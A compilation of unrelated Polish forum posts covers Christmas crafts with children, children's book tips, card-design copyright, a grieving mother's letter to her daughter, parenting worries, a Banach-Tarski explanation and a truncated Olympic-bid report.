wykrętem było oczywiście "Ale to trzeba by było zapewnić wszystkim
segregatory...". Więc po trzech dniach zapewniłam, przynosząc je z
niepotrzebnych zapasów z własnej firmy (bo już ewentualny klasowy zakup
składkowy nie wchodził rzekomo w grę ze względu na trudności z organizacją
takiej akcji oraz potencjalny problem finansowy dla niektórych rodziców). Pani
bardzo się ucieszyła, ustawiła segregatory w klasie i powiedziała, że bardzo się
przydadzą... na dodatkowe prace uczniów, bo na podręczniki to jednak nie. Bo
gdyby całości książek stały tutaj, w klasie, a ona (pani) poprosiłaby o otwarcie
danej książki na określonej stronie, TO POWSTAŁBY OKROPNY SZUM I NIEPORZĄDEK
przy podchodzeniu do segregatorów i wyciąganiu potrzebnej części. Ona zaś nie
umie zawczasu określić, kiedy i jaka część będzie jej potrzebna, więc nie ma
możliwości powyjmowania tych materiałów np. przed lekcją. A w ogóle pani z
wielkim współczuciem wyrażała się o przeciążeniu swoich uczniów pękatymi
tornistrami, dodając tylko "Ale co ja na to poradzę?".

U nas jest tak:
Świety Mikołaj przynosi słodycze do wystawionych w okno butów - wieczorem 5-go
grudnia (powinien w nocy, ale z rana nie ma czasu na świętowanie...)
A w Gwiazdkę prezenty przynosi Jezusek. (bo ja jestem z Węgier, i tam tak jest
od zawsze, a z tego co wiem, na Śląsku jest tak samo...)

Każde wyjście na miasto jest okazją do tworzenia nastroju (dekoracje świąteczne
w sklepach)
Przy większych zakupach zawsze trzeba pomyśleć o świętach (trzeba kupić
przyprawy do ciasta, kolorowy papier do kartek, itp.itd.)
Spisujemy listę, do kogo wysyłać kartki świąteczne
Kupuję wszelkie kobieco-dziecięce czasopisma, wycinamy obrazki o świątecznej
tematyce, przydają się do robienia kartek i bilecików do prezentów
Wszyscy razem idzemy do przedszkola na jasełka (lub na Mikołaja, kiedy co
organizują)
Wszyscy razem idziemy na Mikołaja do Instytutu Węgierskiego
Robimy ozdoby na choinkę (łańcuchy z papieru, aniołki, ale też malujemy zwykłe
szklane bombki klejem z brokatem)
Robimy kartki świąteczne (różnymi technikami, nawet najmniejsze dziecko
skombimuje ładny kolaż z wyciętych z gazet obrazków)
Robimy listę, komu dzieci robią prezenty, wymyślamy, co można komu (obrazki,
robótki ręczne, oprawione zdjęcie, figurki z papieru, wazon z butelki,
oblepionej plasteliną, kwiatek własnoręcznie sadzony w doniczkę itp. itd.)
Oglądamy książeczki o świątecznej tematyce
Czytamy bajki o świątecznej tematyce (różne, w rodzaju "biblia dla dzieci"też)
Mówimy wierszyki, śpiewamy kolędy
Kolędy grają w tle
Gramy kolędy na pianinie
Sprzątamy razem (tak, tak! i jest to nawet przyjemne zajęcie, aczkolwiek mało
skuteczne...)
Pieczemy ciasteczka (to jest absolutna atrakcja, niektóre dzieci cenią to
wyżej, niż prezenty...)
Już nie mogę się doczekać...
Pozdrawiam
Judyta
P.S. są w sklepach takie szopki prawie gotowe, do wycinania i sklejania, akurat
dla małych dzieci średnio uzdolnionych plastycznie mam
J.

na dobranocek zanuce jeszcze pioseneczke co mi w uszko wpadła :))))))))

******************************************
Lubię słuchać, gdy jest już późno, gdy wszyscy śpią
Kiedy gwiazdy lśnią
I jest cichy cały dom, wtedy piszę
I zagłębiam się w tą ciszę
To, co słyszę, to jedynie wyobraźnia
Cienie straszą, odchodzą, kiedy się przejaśnia
Jest już ciemno, spokojnie, tak jest tylko w baśniach
Gdzieś za oknem w oddali jakiś pies ujada
Zapewne ktoś stoi teraz na rozdrożach świata
Ktoś odkrywa niepojęte sprawy
Jest już późno, piszę...
(Jeszcze nie śpisz mały?)
Jeszcze nie śpię
To nie są rzeczy, które widzę we śnie
Jak odgłosy we śnie, hałasy, zgiełk tłumu
Kolorowe litery gdzieś na wyłomach murów
Czasy królów odeszły, nastały czasy pełne bólu
Piszę o tym wszystkim, by poezji stać się bliskim
Jak ci którzy odeszli, tysiące ludzi
Jest już późno, czas iść spać, z nie marudzić
Czekam, kiedy znowu muza do mnie wróci

Światła miasta już dawno zgasły, jest ciemno
Z długopisem nad kartką spędzam moja noc bezsenną
Warszawy echo, echo wydarzeń z dni ubiegłych
Jak z DVD obrazki, popelinie tekstu z kartki
Noc bez dźwięków żadnych, zupełna cisza
Tylko nierówny oddech słychać i znów
Godzina duchów, by oddać hołd muzie
Nocnych pisarzy, co w dnia nudzie inspirację znajdują
I opisują to później, może być różnie
Może ładnie to wszystko dzisiaj się poskłada
A może nie i finałem będzie kartka podarta, jak Bóg da
Wiem, że ta cisza daje mi komfort, nieźle
Potem nagra się teraz płynie wyraz po wyrazie
Na kartce, a we śnie szukam ukojenia
Teraz wylewam tutaj, co mnie wnerwia
Chwila relaksu, przerwa
I dalej, choć zaschło w gardle
Wieczór, to pora rzeczy poważnych, pieprzę banały
Pisane nocą myśli, nacechowane melancholią
Wiem, że teraz ktoś, gdzieś zostawia myśl się niekończącą
Stawiając pomnik słowem, co od spichrzu trwalszy
Jak Horacy piszę, by czasu upływanie zwalczyć
Mój sposób, by od szarości dnia gdzieś odejść
Swoja krainę z marzeń, budować swoim słowem
Odskocznia od tego, co czeka mnie rano
Nocne pisanie, dobranoc
autor: Grammatik

Bardzo świeży temat u mnie
U nas w przedszkolu panie wymyśliły konkurs rodzinny - trzeba wspólnie zrobić
coś świątecznego - szopkę, stroik, ozdoby choinkowe... co tam komu przyjdzie do
głowy. My wczoraj właśnie robiliśmy kartki świąteczne. Wyszło nam 6 sztuk - pół
dnia maksymalnego bałaganu w domu (robiliśmy takie a'la scrapbook).

U nas jest w tym roku kalendarz adwentowy z różnymi zadaniami na każdy dzień. Są
wśród nich właśnie takie świąteczno-plastyczne:

1. Narysuj Mikołaja. Technika dowolna.

2. Narysuj Aniołka. To ma być taki kolaż - do dyspozycji srebrne nitki, piórka,
złota farba.

3. Zrób Choinkę.
Robilismy w zeszłym roku tak: wycięłam obrys choinki z tektury (A4) - dzieci ją
sobie odrysowywały na kartkach, kolorowały i ozdabiały. Do dyspozycji miały
guziki, brokat, wstążeczki, ozdobne dziurkacze, nożyczki wycinające fikusne
kształty, cekinki, różne pierdoły kupione w pasmanterii i cały mój warsztat
scrapbookowy. Prace wyszły super. Dzieci wpadły w taki trans, że zrobiły po
kilka sztuk. Częśc oddały babciom, a część wisiała przyczepiona do drzwi
wejściowych.

4. Obrazki na okna. Kupiłam takie farbki do malowania na szkle. Wkłada się jakis
rysunek w koszulkę na dokumenty, maluje farbkami, potem, jak to zaschnie, odrywa
i przyciska do szyby. Taki niby witrażyk.

5. Łańcuch na choinkę. Tradycyjny, łańcuszkowy.

6. Robienie stroika na stół. Mam takie gotowe kółko z wikliny - wtykamy w nie
gałązki, zawieszamy te najmniejsze bombki, przyczepiannmy jakieś kokardki.
Ładnie wyglądaję też zasuszone plasterki cytryn i pomarańczy. W Srodku
oczywiście świeczka.

Kiedyś robiliśmy jeszcze ozdoby na chionkę z masy solnej. Ale nie pytaj o
przepis, bo na oko robiłam. Prace można rozłożyć na dwie raty - najpierw
lepienie, a po wyschnięciu (następnego dnia) malowanie farbami. Wyciskaliśmy z
foremek do ciasteczek. Trzeba pamiętać o zrobieniu dziurki na nitkę.

PYTANIE:
Mam też w planach, żeby dzieci zrobiły samodzilenie (w miarę mozliwości
oczywiście) prezenty dla Dziadków. Mam dwa pomysły, ale może mnie zainspirujecie
i podsuniecie, co dzieci mogą same zrobić? Coś fajnego, może praktycznego (w
sensie niekoniecznie kurzozbieracz), i niebanalnego (tzn. nie rysunki, bo to
robią na codzień)?

a u nas dekoracje z cyklu Obrazy Niesamowite, wykonane równie niesamowitymi
technikami (kolaże fotograficzne, obrazy malowane farbą, ale nie pędzlem tylko
wyciskaną z tubki tratkowaną jak kredka) przedstawiające - dziwne postacie w
dziwnych sytuacjach, np babochłopa wymachujacego siekierą, albo potwornego
potwora zjadającego koło z ognistych noży (te dwa obrazy wiszą na klatkach
schodowych, a wiec w częsci uczęszczanej głownie przez pracowników); w czesci
oficjalnej także fotografie z tzw ładnych miejsc.
poza tym oczywiscie tzw rosliny doniczkowe, moja regularnie usycha, bo ciągle
ją zapomina się podlac (ja dlatego,z e siedzę tyłem do okna, wiec w ogole jej
nie widzę).
koledzy na biurkach miewają: puchato-włochate długopisy na plastykowych
postawkach - wszystko we wsciekłych kolorkach (kazdy ma taki, w innym kolorze),
kartki okolicznosciowe i rozmaite przypominacze. jedna z kolezanek ma stertę
romansideł z karteczką z nazwiskiem klientki na górnej (podejrzewam kamuflaż).
i niestety, słodycze, niektórzy w duzych ilosciach i duzej róznorodnosci.
generalnie dosc nieciekawie, ale...
ale jak już włączą swoje komputery to po tapetach/wygaszaczach ekranu się
okazuje, ze mamy: fankę harrego pottera (i to nie ja :P), fana Little Britain,
Harleyowca, ksiązniczkę na ziarnku grochu, czlonka rodziny Adamsów,
wielbicielkę skórzanej bielizny i GOścia z Krasnalem w Ogródku.
tego ostatniego zrezstą, przez jakis czas dręczono, bo porwano mu krasnala z
ogródka i co kilka dni wysyłano mu zdjęcia, z tortur, jakie praktykowano na
krasnalu; zdjęcia były zamieszczane na tablicy ogłoszen, razem z
zadaniem 'okupu' - którym było noszenie czapeczki bejsbolowej i wchodzenie na
krzesło w południe i pianie.
pojedyncze osoby mają zdjecia wnuków i dalszych pociotków.
ja mam na biurku, krzesłach, stoliku i parapecie bałągan z papierów, wiec nie
ma już miejsca na zadne indywidualne gadzety.
A te obrazki ze schodów to kiedys obfotografuje

;)

Polecam książki z serii "Amberek" (wydawnictwa Amber). Pięknie ilustrowane,
proste książeczki dla małych dzieci (nie dla niemowląt spożywających książki na
surowo, bo kartki miękkie, ale dla tych ociupinkę starszych, około 2 lat).
Kupuję w zasadzie w ciemno, nawet nie zaglądam do środka, na żadnej jeszcze się
nie zawiodłam. "Niutusia" strasznie lubię. (Chociaż na początku myślałam, że to
piesek, a to miś.)

Seria o Kamyczku i seria o Kamilce są niezłe.

Kupuję książeczki oparte o filmy dla dzieci typu "Bob Budowniczy" czy "Bracia
Koala", głównie po to, żeby wiedzieć, jak się ich bohaterowie po polsku nazywają.

Jak moja córka miała niecałe 2 lata, absolutnym przebojem była "Lokomotywa"
Tuwima. Musiałam ją czytać bez przerwy, do tego stopnia, że nawet mój mąż, który
po polsku wcale nie mówi, znał fragmenty na pamięć!

Poza tym mamy sporo książek z tekturowymi stronami (uwaga! tekturowe strony też
da się przeżuć, to tylko kwestia czasu), głównie o zwierzątkach. Jest taka seria
czterech książeczek: Życie na wsi, Zwierzęta domowe, Zwierzęta leśne, Zwierzęta
świata, bardzo ładne zdjęcia i obrazki.

Z udziwnionych książeczek mamy "Trzy Świnki" i "Czerwony Kapturek" z pacynkami
na palce, oraz rozkładanki "Kopciuszka" i "Czerwonego Kapturka".

Dużo się można nauczyć z "Małych encyklopedii Larousse'a", my mamy "Ciało" i
"Delfiny i wieloryby".

Jedną książeczkę mogę przy okazji odradzić, tu o niej pisałam:
forum.gazeta.pl/forum/72,2.html?f=16375&w=38136090&a=38146750


> powiedzcie mi po co w takim razie
> powstają rózne stronki i gazetki w których pokazane są różne wzory, np na
> kartki
> które nie są na sprzedaż a po prostu pokazują jak zrobić coś ładnego.
Właśnie dokładnie po to powstają - żeby zainspirować, żeby pokazać, jak coś
zrobić, że kartka to nie tylko nadrukowany obrazek.

> a wg mnie across mylisz się, zrobiłam kilka kartek walentynkowych, niektóre z
> tej stronki, niektóre skopiowane po przejrzeniu allegro a niektore z własnej
> inicjatywy, i kilka dni póxniej w slepie zauważyłam kartke która ja
wymyśliłam
> osobiście, oczywiście były tam inne kolory, moja była w tonacji niebieskiej a
> tamta w czerwonej, ale z wyglądu były praktycznie takie same.
A może ktoś miał taki sam pomysł, co?
Teraz powiedz, co by poczuła osoba, która miała na swojej kartce fajną kratkę,
która wymyśliła - a potem widzi na Twojej kartce coś podobnego.

> nie jestes w stanie zrobić niepowtarzalnego wzoru, gdyż zawsze ktoś może
zrobić
> prawie identyczną rzecz, nawet nie wiedząc o twojej.
No widzisz, tak jak z tą kartką walentynkową, która widziałas w sklepie.

> ja nie zajmuje sie sprzedaza hurtowa, nie kopiuje wzoru i nie wytwarzam go w
> tysiącach egzemplarzy, tylko robię jedną podobna kartkę i wg mnie jest to
> dozwolone i nie przeszkadzałoby mi jesli ktoś zrobiłby taką sama kartkę,
nawet
> cieszyłabym się że podobał mu się wzór.
Zgadzam sie z Tobą. Na własny użytek można podkopiować, ale tylko jeśli robisz
na przykład od siebie dla chłopaka czy przyjaciółki na urodziny. Wtedy i tylko
wtedy.

> jeśli przeszkadza ci to że ktoś od ciebie kopiuje wzory to nie wystawiaj
swoich
> prac na sprzedaż.
Ja już w internecie nie wystawię, może pojedyncze egzamplarze pokażę w galerii.

> a co do konkurencji to wg liberałów tak właśnie jest, konkurencja rozwija
rynek
Tak, ale liberałowie pojmowali wolny rynek jako miejsce, gdzie
wygrywa "silniejszy". Ja to rozumiem tak, że jeśli ktoś kopiuje i to sprzedaje,
a ma niezły dochód, to łamie prawo, ale wychodzi na swoje i niech się cieszy,
póki mu się do tyłka nie dobiorą...
Szkoda, że u nas tak bardzo nie przestrzega się przepisów o prawie autorskim.

a ja wyciełam troszkę większy format od a4 , zagiełam równo na kartce
przykleiłam od tylu taśmą klejącą ,żeby się wszystko ładnie trzymało i
spokojnie wydrukowałam. efekty w galerii śliczne obrazki na puszki z kawą i
herbatą powodzenia!!!

scrapbookingowa galeria- link inspirujący:-)
Znalazłam właśnie brazylijską stronę scrapbookingową. Jest w formie forum.
Mają dużżżą galerię, prezentują typowy scrap. ale i kartki a nawet się parę
decoupage'y zdarzyło Niektóre rzeczy są naprawdę ładne, dużo inspirujących
pomysłów... więc na wypadek, gdyby ktoś zdecydował się obejrzeć napiszę, jak
się tam poruszać

Adres strony głównej:

www.scrapbookbrasil.com
Jest galeria zdjęć czyli "Galeria de Fotos". Sa rózne kategorie, jak sobie
jakąś wybierzemy, to zobaczymy miniaturki zdjęć. Żeby zobaczyć duże tzreba się
zarejestrować, ale nie we wszystkich kategoriach chyba. Polecam Cartões
Artesanais, czyli kartki rękodzielnicze i Outros Trabalhos em Papel czyli
inne prace z papierem no i sam scrap. Do oglądanai dużych zdjęć w dwóch
pierwszych kategoriach tzreba być zarejestrowanym. Żeby to zrobić należy
kliknąć na napis (mały jest...) po lewej stronie: "REGISTRAR", następnei
zaakceptować warunki użytkowanai forum klikając na napis pod tekstem "Aceito
estes termos e tenho mais que ou exatamente 13 anos de idade".

Usuario- nazwa użykownika wpisac sobie jaką się chce
Endereço de Email- e-mail podać
Senha to jest hasło
Confirmar senha tzn. potwierdzic hasło

Żadne inne dane nie sa wymagane, więc można kliknąć ENVIAR na dole strony. Na
e-mail przyjdzie potwierdzenie z linkiem, tzreba w niego kliknąć i już mamy
aktywne konto. Teraz już można oglądać obrazki w powiększeniu, najlepiej wejść
w nie z powrotem ze strony głównej. Po jakimś czasei system nas wyloguje (skąd
my to znamy?) i tzreba się zalogowac na nowo, czyli podać nazwę użytkownika i
hasło i dalej można paść oczy

Chyba nie jestem nudna?

Kochana Córeczko
Skończyłam juz jazdy obowiazkowe. Miałaś rację, ze ja to sie będę długo uczyc:)
Po świetach pójdę zdać testy. Dzis bylismy w Twoim sklepie. Wiesz, ze ja tam w
ogóle nie chodzę, bo lubiłam robic to tylko z Toba. Tata kupił nowe bombki:
czerwone, białe i srebrne. Niby kupowalismy razem, ale mnie to w ogóle nie
interesowało. Ty byś się pewnie cieszyła. I pewnie ten nowy stroiczek co z
igieł sosny zrobiłam bardzo by Ci się podobał. Robię te różne rzeczy zwiazane ze
świętami, ale nie cieszy mnie to. Co roku robiłam to z radoscią, bo nawet jak
nie chciało Ci sie pomagac:) to próbowałaś, chwaliłaś, podglądałaś albo i
mówiłaś ze Ci cos nie smakuje, a teraz zabrakło tak bardzo Twojego
głosu,śmiechu, Twoich uwag, żartów, podjadania uszek, tak że co roku ile bym nie
zrobiła to ich było za mało. Tak bardzo brakuje Ciebie, tak bardzo...Córeczko
moja kochana kupiliśmy dzis choinki, ale było mi obojętne czy sa proste, czy sa
ładne, czy sa świeze. Naprawdę było mi obojetne. Wiesz, najchętniej bym się
połozyła i przespala te święta. Wiem, ze nie zrobie tego, bo dla syna, dla
babci, dla taty. Pewnie nie podoba Ci się moje nastawienie, ale coz poradzić...
Odszedł nasz sasiad w sobotę, pan S. Jutro pogrzeb, pewnie juz Go widziałaś po
tamtej stronie. Miał juz duzo lat i nie cierpiał wiele. Babcia piekła ciasto na
stype. Wiesz jak to babcia, sasiadom wszystkim wokól piecze ciasto na
stype:)Wiesz, przypomniala mi się w tej chwili Wandeczka, chcialabym wiedziec
czy jej tam dobrze, czy i ją juz widziałaś. Czy opowiada Ci kawały:) Agatko, od
tygodnia zainteresowaly mnie witraze i szukam miejsc i poradnikow jak samemu sie
nauczyc robic drobiazgi dla siebie. I wiesz dzis przyszła kartka od Hani, wiesz
od ktorej Hani. Jej mamę pewnie tam juz poznalas, a w kopercie malutki obrazek
na szkle malowany:) Czy to nie jest niezwykle:) mysle o czyms i nagle cos
zwiazane z moimi myslami otrzymuje w prezencie:) Na tym obrazku od Hani jest
Aniołek. Ja mysle, ze to Ty Hani podsunęłaś ten pomysł i w taki sposób mi dajesz
znać, ze jestes blisko, no bo skąd by Hania wiedziała ze taka radośc mi tym
sprawi:)
Nowy mały człowiek przybedzie w naszej rodzinie. P. spodziewa sie dziecka, slub
w lutym ma byc. Pewnie bys mówila, ze za szybko, ze magisterke mogła obronic
najpierw. Ale mam nadzieje, ze sie jej uda pogodzic jedno z drugim. Piszę
coreczko i co chwile przerywam bo dzis sie telefon rozdzwonił.... Czasem jednak
jest dobrze usłyszec głos zyczliwego człowieka. Dobranoc córeczko
mama

UK

Jesli Emerytus chce wyrazic szacunek dla mnie, duza litera winien byc pisany
zaimek, nie przymiotnik )))
Mozna czytac i rozmawiac wybiorczo - ja akurat przeczytalam i wysluchalam
sporej ilosci komentarzy na temat nieodpowiedzialnosci brytyjskiej policji -
komentarzy padajacych z roznych stron - zdecydowanie nie tylko od np. wyznawcow
Islamu (poki co zreszta nie wiadomo jakiego wyznania byl zastrzelony).
Tak na marginesie dodam, ze niezaleznie od okolicznosci (w tym przypadku
argument jest taki, ze strzelano w glowe, bo na torsie facet mogl miec bombe,
ktora kula moglaby detonowac), policjanci czesciej zabijaja niz rania gonionych
podejrzanych. Bedac kompletnym laikiem w kwestiach gonienia i strzelania,
staram sie tego nie oceniac aczkolwiek jako podatnik, wolalabym placic na
policje, ktorej umiejetnosci pozwalalyby uciekajacych ranic i aresztowac
zamiast zabijac i chowac. To tylko tak ogolnie.
Egit - bez watpienia tragedia straszna choc, o ile mi wiadomo, wciaz nikt sie
oficjalnie nie przyznal do zaaranzowania calej sprawy i poki co trudno oskarzac
kogokolwiek.
Nie szanuje samorozgrzeszania. Nic nie usprawiedliwia pewnych form
dyskryminacji - ani procenty populacji, ani religia, ani komunizm, ani klimat
czy polozenie geograficzne. Dopoki Polacy nie beda patrzec uczciwie w lustro,
z szacunkiem ze strony mniejszosci moze byc krucho. To sie zreszta wszystko
ladnie zawiera w powiedzonku o tym, ze syty glodnego nie zrozumie.
Nie dziele Twojego przekonania o sposobach zwalczania terroryzmu. Przede
wszystkim mam wybitny problem z definicja terroryzmu.
Aha i jeszcze jedno - rodzina mojego meza mieszkala dluzszy czas na Bliskim
Wschodzie, obchodzili Boze Narodzenie bez klopotow (moj maz jest z rzymsko-
katolickiej rodziny), wszedzie byli w stanie kupic choinke choc czasem
kosztowala slono. Nie wiem, czy wystawiali ja w oknie ale sa zdjecia z ogrodu
jaki mieli w Emiratach - dla Ich wtedy 3letniej coreczki - caly ogrod
udekorowany byl jak droga Mikolaja z saniami, reniferami i reszta tego kiczu -
wszystko kupione i zmontowane lokalnie. Nikt Im okien nie wybil Brakowalo
tylko sniegu
My mielismy swego czasu klopot z kupnem kartek bozo-narodzeniowych w Rammallah
ale wylacznie dlatego, ze obrazki sie zgadzaly ale teksty byly po arabsku, a
tego jezyka moi tesciowie nie znaja W koncu kupilismy bez tekstu w Jerusalem.
Nie daj sie zwiezc stereotypom, nie daj!!!
Aszar

Hej dziewczyny - witamy po wakacjach! Poczytałam sobie i dziękuję wszystkim za
wspaniałe życzenia w imieniu Oleńki. Jesteście niesamowite!

Wyjazd był z przygodami. I tydzień wymarzłyśmy trochę, choć pogoda była ładna,
ale strasznie wiało! Za to od poniedziałku mała buszowała w pisku i nawet
powędrowała do wody Co za frajda. Nie obyło się i bez wypadku. Oparzyła
sobie rączkę gorącą herbatą! horror. Ale już się ładnie goi. Jak znajdę chwilę
to wkleję zdjęcia

Co do książek Muszelko to też mam problem. Staram się nie tyle czytać co
opowiadać co jest na obrazkach bo tylko tak można ją zainteresować książeczką
(oczywiście poza jej zjedzeniem ) . "czytamy" przygody kubusia puchatka -
jeszcze po Robercie mamy taką twardą wersję - więc nie grozi jej zniszczenie.
Podobnie z wierszykami Brzechwy czy Tuwima jest. Ale te woli gdy się na co
dzień przy zwykłych czynnościach recytuje. Wtedy czasem widać jak słucha. Ale
myślę, że to chodzi o te rymy i pewną melodię, którą tworzą. Najbardziej widać,
ze coś do niej trafia jak czytamy Robertowi a Ola się bawi obok.

Książki o Franklinie i Martynce mamy Franklin jest przebojem dla R. do tej
pory! Więc to wydatek, który się opłaca Ale to raczej książeczki dla
chłopców. Martynki odwrotnie - dla dziewczynek. Wcześniej R. chciał ich słuchać
teraz już nie, bo są "dziewczyńskie". Obie znajdziesz w KKKK (Klub Książki
Księgarni Krajowej) Martynka po 33zł
www.kkkk.pl/asp/fiszka.asp?ksiazka_id=11093
Franklin po 6,5 tu:
www.kkkk.pl/asp/wyszukiwanie.asp
Zobacz też w innych księgarniach. Franklin zawsze ma miękkie oprawki. Więc się
nie nadaje jeszcze,A Martynki mają twardą oprawę, ale kartki zwykłe. Martynki
warto szukać w przekładzie Wandy Chotomskiej (są ładnie zrymowane i to się
maluchom podoba)

Fajne księżeczki "twarde" grube tomiska pięknie zrymowane wesołe i śmieszne
wierszyki są w Tesco po ok. 29. Tytułu nie pamiętam, bo R. wziął książeczkę do
babci. Ale chyba właśnie "wesołe wierszyki" - Polskiej autorki.

Jak coś ciekawego macie w "użytkowaniu" to polećcie proszę

cruk napisała:
>ALE TE DZIECI ROSNA, BOSH....

a rosną, rosną, owszem ogladałam zdjecia i nie mogę się napatrzeć
Martynka za dużo nie gada, raczej sylabami, ale raczej można sie z nią dogadac,
czego nie powie, to pokaże, i przy pomocy tzw. pytań naprowadzających można się
od niej wiele dowiedzeć

ha, pochwale, się, że M. ostatnio dobrze spi, tzn. budzi się raz na mleko, ale
juz bez ryków u nas chyba na razie zęby odpusciły, po takim długim spaniu do
9-10, to nie mogę jej w dzień połozyc, zwłaszcza, że Hania jest w domu, na
spacery nie chodzimy, bo obie chore, a jak juz się to uda, to staram się ją
obudzić (bo spalaby ze 3h), no i oczywiście o 22 wcale jej się nie chce spać
musze jej wiele razy tlumaczyć, że wszyscy ida spac, lale śpią, książeczki
śpią, itd, az wreszcie zasypia - sama, w lózeczku, bez płaczu, no ale z
buteleczką...
trochę dzień nam się poprzesuwał...ale za to jaka wyspana jestem ))

jak juz napisalam obie panny chorują, Hania przeziebiona juz drugi tydzien,
natomiast Martynka ma zapalenie krtani
zaczeło sie od tego, że od dwóch dni rano albo po południu miala gorączkę tak
ok. 38,5, po nurofenie spadała i dziecko zdrowe, może ze dwa razy zakasłała na
sucho, no i myślalam, że ją też coś bierze, w sobote rano zaczęla kaszleć
okropnie "szczekająco" i jakieś świsty jej się z gardla wydobywaly, więc
poleciałam ją prywatnie osłuchać no i diagnoza - zapalenie krtani, wirusowe,
więc nie dostałysmy antybiotyku,
gorączki juz nie ma, pokasłuje kilka razy dziennie, teraz juz ładnie odkasłuje,
ale siedzimy w domu, zwłaszcza, że pogoda nie zachęca do spacerów...
no ale panny tak się dobrze bawia razem, że az miło popatrzeć oczywiście
mamusia mile widziana )) a jak sie całują!
jak gram z Hanią w jakąś grę z kostką, to Martynka nam pomaga, że hej, rzuca
tak, ze dziś musialam kanapę odsuwać, żeby kostke wyciągnąć )) poza tym
uwielbia budowanie z klocków, bawi sie "w dom" - mamy taki z Lego i Martynka
karmi lale, kładzie spać, wysadza je na sedesik, itd. wozi samochodzikami, buja
na huśtawce (to z innej zabawki), no i wykorzystuje wszelkie Hani zabawki jak
może nawet ciastolina jej przypadła do gustu, wystarczy jej pootwierać
kubeczki, dać jakąś kartke i urywa sobie po kawaleczku i przykleja, nawet fajne
obrazki z tego wychodzą już nawet farbkami malowala, ale było więcej prania
niż malowania, więc teraz pozwalam Hani jak Martynka śpi, ona może jeszcze
poczekać...

pozdrawiam!
G.

czy i jak rozwijac "slabe punkty" dzieci?
tak mi sie skojarzylo na bazie dyskusji o czytaniu metoda domana, rozwijaniu
talentow dzieci itp.

wiadomo, ze dzieci sa w jednym dzialaniu lepsze, w innym gorsze. kazde
(chyba?) ma jakies "slabe punkty", rzeczy ktore umie zrobic gorzej, lub prawie
wcale.

i zastanawiam sie, czy takie slabe punkty dzieci nalezy po prostu zostawic w
spokoju, swojemu biegowi, czy jakos je rozwijac, wspomagac? a jesli tak, to
jak? chodzi mi o dzieci male, przedszkolne lub jeszcze mlodsze.

nasz starszy synek zupelnie nie umie rysowac czegos, co przypomina
rzeczywistosc. rysuje chetnie, calkiem sporo, ale sa to na ogol "gryzmoly".
choc on dokladnie wie, co to jest i pamieta "na zawsze". jak sie pytam po
tygodniach, czy miesiacach, co to jest, pokazujac na pomazana kartke, to
spokojnie mowi: to jest koszula, a to jest babcia. choc to ani jednego, ani
drugiego nie przypomina.
mial ponad 4 lata, gdy narysowal po raz pierwszy cos, co przypominalo
czlowieka (mialo glowe, oczy, usta, rece i brzuch, ale nog juz nie ). u
pediatry, na "bilansie czterolatka" tez nie potrafil narysowac ludzika, gdy
zostal o to poproszony. tzn narysowal, oczywiscie, ale cos, co ludzika nie
przypominalo... ale wzoru odtworzyl dobrze (krzyzyki, kolka, prostokaty), a
jak dostal za modela erniego z ulicy sezamkowej oraz kilka podpowiedzi, to i
to narysowal. ale sam z siebie - nie.

i nie chodzi tutaj o malo sprawne palece, czy rece. synek potrafi pieknie i
dokladnie wycinac, uwielbia to! wycina po liniach obrazki z wycinanek dla
dzieci, robi takie serwetki skladane na kilka czesci, dobrze operuje
nozyczkami, nie ma problemu z trzymaniem kredek czy flamastrow. poza tym
slicznie wykleja, z przedszkola przynosi bardzo ladne rzeczy, zrobione przez
siebie.

i tak sobie mysle - dac mu spokoj, czy jakos go stymulowac, zeby zaczal
"normalnie" rysowac? i jak? pewnie jakos przez zabawe, ale nie mam pomyslu
jak, bo on rysuje i lubi i nic z tego nie wychodzi

to tylko przyklad, pytanie jest bardziej ogolne. bo zawsze sa takie rzeczy,
ktore nasze dzieci umieja gorzej. i nie chodzi mi o dazenie do doskonalosci,
ale wlasnie o takie rzeczy, ktore juz raczej "powinno sie robic". nie mam
cisnienia, zeby moje dzieci robily wszystko swietnie, tylko sie zastanawiam,
czy moze nie warto im jakos pomoc, postymulowac je troche? co myslicie?

Bardzo ładne i kartki, i obrazki. Urzekły mnie: "Oświadczyny"

Nadchodzi fala świątecznych SMS-ów
Kartka świateczna ma czasem jeszcze jedną zaletę - ładny obrazek,
który mozna długo i z przyjemnością oglądać.

> Przykład z podzielonym odcinkiem świetny, nawet idiotki zrozumieją.
> Trochę przeinaczając Twoje pytanie: czy jest możliwe takie
> podwojenie tylko poprzez obrót i przesunięcie punktów jednego
> odcinka?

Nie jest, bo dla odcinka jest za mało możliwości. Odcinek możesz obrócić tylko o
180 stopni żeby nałożyć go na samego siebie, a tutaj kluczowe jest obracanie o
jakiś niewymierny kąt (żeby żadne wymierne punkty nie nałożyły się na siebie).

> Przekształcenia punktów na płaszczyźnie ładne, chyba do objęcia
> niegeometrycznym rozumem, chociaż boje się, że próba zrobienia tych
> przesunięć i obrotów punktów na kartce papieru spowoduje obraz
> rozmazanego chaosu.

I o to właśnie chodzi. Twierdzenie jest paradoksalne, bo pokazuje że kanoniczne
patrzenie na płaszczyznę czy kulę nie jest jedyne - i jeśli odpowiednio opiszesz
punkty (tak że dla nas wyglądają jak "rozmazany chaos"), to okaże się że
płaszczyzna czy kula ma inne właściwości niż intuicja podpowiada.

> Ale cudu rozmnożenia kuli i tak nie zrozumiem bez rysunku. Te
> wizualizacje w googlach też są niby to oczywistą oczywistością dla
> matematyków, wynikającą z wielu praw i wzorów. Dałbyś radę jakiś
> prosty, schematyczny obrazek wkleić? Wiem, że przesadzam z tą
> prośbą, przepraszam, ale naprawdę pięknie machasz rękami :)

Obawiam się że zrobić rysunku nie tylko ja nie potrafię, ale w ogóle się nie da.
Z dwóch powodów. Pierwszy jest taki, że twierdzenie nie jest konstruktywne. Ono
nie mówi "jak" podzielić tę kulę, mówi tylko "że" da się to zrobić. Drugi powód
jest bardziej skomplikowany: te zbiory na które dzieli się kulę, nie
przypominają żadnych zwykle używanych zbiorów. I każdy rysunek tutaj byłby
nieprawidłowy, bo rysunki składają się z linii i kropek - a tych zbiorów nie da
się przedstawić za pomocą linii i kropek w żadnym przybliżeniu.

Sa nowe informacje od Filipa Mecnera.

Już po prezentacjach. Oto skrótowy przeglad poszczególnych Miast.

Zaczęła Moskwa. Było połączenie na żywo z premierem Kasjanowem. Mówił długo i
ogólnikowo - oczywiście o zaletach Moskwy. Kultura, sztuka itp. Wypadło to tak,
jakby Moskwa była centrum świata. Potem wystąpił mer Juruj Łużkow. Też
przemawiał. Czytał z kartki i czasem mylił angielski słowa. Ostatnią częścią
przentacji był film. Świetnie zrobiony. Moskwa wypadła jak Nowy Jork. Na końcu
